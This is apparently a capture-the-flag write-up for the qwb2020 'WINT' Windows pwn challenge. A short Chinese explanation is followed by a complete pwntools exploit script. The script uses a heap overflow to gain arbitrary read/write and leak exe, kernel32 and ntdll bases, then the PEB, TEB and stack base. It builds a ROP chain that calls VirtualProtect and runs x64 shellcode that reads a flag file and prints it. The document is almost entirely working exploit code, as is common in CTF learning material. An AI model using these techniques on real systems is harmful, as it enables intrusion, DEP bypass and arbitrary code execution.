0%

qwb2020_WINT

edit功能存在溢出,可以控制string对象,来实现任意地址读写

控制string对象,泄露出exe基址和dll的基址,然后就是泄露peb、teb地址,得到stack_base,为了能够准确得到栈rop的地址,我们在栈里布置一个字符串用来做TAG,然后利用任意地址读写从stack_base处开始搜索栈,直到找到我们布下的这个TAG。然后就是做ROP更改堆的执行权限后跳到堆里执行shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
#coding:utf8
from pwn import *


local = False
#sh = remote('192.168.232.147',6666)
sh = remote('121.40.103.62',1337)
kernel32_free = 0x1180
VirtualProtect = 0x14F0
CreateFileA = 0x2F00
ReadFile = 0x1DE0
WriteFile = 0x1E10
GetStdHandle = 0x16E0
HeapAlloc = 0x30810
ntdll_PebLdr = 0x1313c8
#pop r9 ; pop r8 ; pop rdx ; pop rcx ; jmp rax
pop_4 = 0x92ea3
pop_rax = 0x1548c




#context.log_level = 'debug'
def add(name,size,content):
sh.sendlineafter('4. Exit','1')
sh.sendlineafter('name:',name)
sh.sendlineafter('age:',str(size))
sh.sendafter('data:',content)


def delete(index):
sh.sendlineafter('4. Exit','2')
sh.sendlineafter('index:',str(index))




def show(index):
sh.sendlineafter('4. Exit','3')
sh.sendlineafter('index:',str(index))


def edit(index,size,name,content):
sh.sendlineafter('4. Exit','4')
sh.sendlineafter('index:',str(index))
sh.sendlineafter('name:',name)
sh.sendlineafter('age:',str(size))
sh.sendafter('data:',content)


add('0'*0x10,0x20,'a'*0x20) #0
add('1'*0x10,0x20,'b'*0x20) #1
add('2'*0x10,0x20,'c'*0x20) #2


#raw_input()
if local:
exe_base = 0x7FF7F09A0000
else:
#溢出
edit(0,0x32,'0'*0x10,'a'*0x30 + '\x70\x74')
show(1)
sh.recvuntil('name: ')
exe_base = u64(sh.recv(8)) - 0x3d650


free_iat = exe_base + 0x34010
print 'exe_base=',hex(exe_base)
edit(0,0x38,'0'*0x10,'a'*0x30 + p64(free_iat))
show(1)
sh.recvuntil('name: ')
free_addr = u64(sh.recv(6).ljust(8,'\x00'))
kernel32_base = free_addr - kernel32_free
print 'kernel32_base=',hex(kernel32_base)


VirtualProtect_addr = kernel32_base + VirtualProtect
CreateFileA_addr = kernel32_base + CreateFileA
ReadFile_addr = kernel32_base + ReadFile
WriteFile_addr = kernel32_base + WriteFile
GetStdHandle_addr = kernel32_base + GetStdHandle


sc = '''sub rsp,0x8 /*栈对齐*/
mov rax,0x7478
mov [rsp+0x110],rax
mov rax,0x742E67616C665C5C
mov [rsp+0x108],rax
mov rax,0x544E49575C5C3A43
mov [rsp+0x100],rax
mov qword ptr[rsp+0x30],0 /*hTemplateFile*/
mov qword ptr[rsp+0x28],0x80 /* dwFlagsAndAttributes*/
mov qword ptr[rsp+0x20],3 /* dwCreationDisposition*/
lea rcx,[rsp+0x100]
mov edx,0x80000000
mov r8d,1
xor r9d,r9d
mov rax,%d
call rax /*CreateFileA打开文件*/


mov qword ptr[rsp+0x20],0
mov qword ptr[rsp+0x28],0
mov rcx,rax /*hFile*/
lea rdx,[rsp+0x200] /*lpBuffer*/
mov r8d,0x100 /*nNumberOfBytesToRead*/
xor r9d,r9d
mov rax,%d
call rax /*ReadFile*/


mov ecx, 0xfffffff5 /*STD_OUTPUT_HANDLE*/
mov rax, %d
call rax /* GetStdHandle*/


mov qword ptr [rsp+0x20],0 /*lpOverlapped*/
mov rcx,rax /*hFile*/
lea rdx,[rsp+0x200] /*lpBuffer*/
mov r8d,0x100 /*nNumberOfBytesToWrite*/
xor r9d, r9d /*lpNumberOfBytesWritten*/
mov rax, %d
call rax /*WriteFile*/


''' % (CreateFileA_addr,ReadFile_addr,GetStdHandle_addr,WriteFile_addr)


shellcode = asm(sc,arch='amd64')
add('3'*0x10,len(shellcode),shellcode) #3
heap_ptr_addr = exe_base + 0x4cbd0
edit(0,0x38,'0'*0x10,'a'*0x30 + p64(heap_ptr_addr))
show(1)
sh.recvuntil('name: ')
heap_addr = u64(sh.recv(8))
shellcode_addr = heap_addr + 0x190
print 'shellcode_addr=',hex(shellcode_addr)
HeapAlloc_iat = exe_base + 0x34020
edit(0,0x38,'0'*0x10,'a'*0x30 + p64(HeapAlloc_iat))
show(1)
sh.recvuntil('name: ')
ntdll_base = u64(sh.recv(8)) - HeapAlloc
ntdll_PebLdr_addr = ntdll_base + ntdll_PebLdr
pop_4 += ntdll_base
pop_rax += ntdll_base
print 'ntdll_base=',hex(ntdll_base)
print 'ntdll_PebLdr_addr=',hex(ntdll_PebLdr_addr)
edit(0,0x38,'0'*0x10,'a'*0x30 + p64(ntdll_PebLdr_addr))
show(1)
sh.recvuntil('name: ')
Peb_addr = u64(sh.recv(8)) - 0x80
Teb_addr = Peb_addr - 0x2000
print 'Peb_addr=',hex(Peb_addr)
print 'Teb_addr=',hex(Teb_addr)
stack_base_ptr = Teb_addr + 0x10
print 'stack_base_ptr=',hex(stack_base_ptr)


edit(0,0x38,'0'*0x10,'a'*0x30 + p64(stack_base_ptr ))
show(1)
sh.recvuntil('name: ')
stack_base = u64(sh.recv(8))
print 'stack_base=',hex(stack_base)


#在栈里做一个标记,然后我们搜索栈
tag = '100 '.ljust(0x8,'\x00') + 'TAhaivkG'
delete(tag)


addr = stack_base
while True:
print 'searching ',hex(addr),'....'
edit(0,0x48,'0'*0x10,'a'*0x30 + p64(addr) + p64(0x10) + p64(0x1000))
show(1)
sh.recvuntil('name: ')
data = sh.recv(0x1000)
if 'TAhaivkG' in data:
print 'found tag in stack'
break
addr += 0x1000


rop_addr = (addr + data.index('TAhaivkG')) & 0xFFFFFFFFFFFFFFF0
rop_addr += 0x18
print 'rop_addr=',hex(rop_addr)




rop = p64(pop_rax) + p64(VirtualProtect_addr)
rop += p64(pop_4)
rop += p64(rop_addr) #oldp
rop += p64(0x40) #flag
rop += p64(0x110) #len
rop += p64(shellcode_addr) #ptr
#ret2shellcode
rop += p64(shellcode_addr)


edit(0,0x60,'0'*0x10,'a'*0x30 + p64(rop_addr) + p64(0x10) + p64(0x4F) + p64(0) + p64(rop_addr) + p64(len(rop)))
#写rop
raw_input()
edit(1,len(rop),'b',rop)

sh.interactive()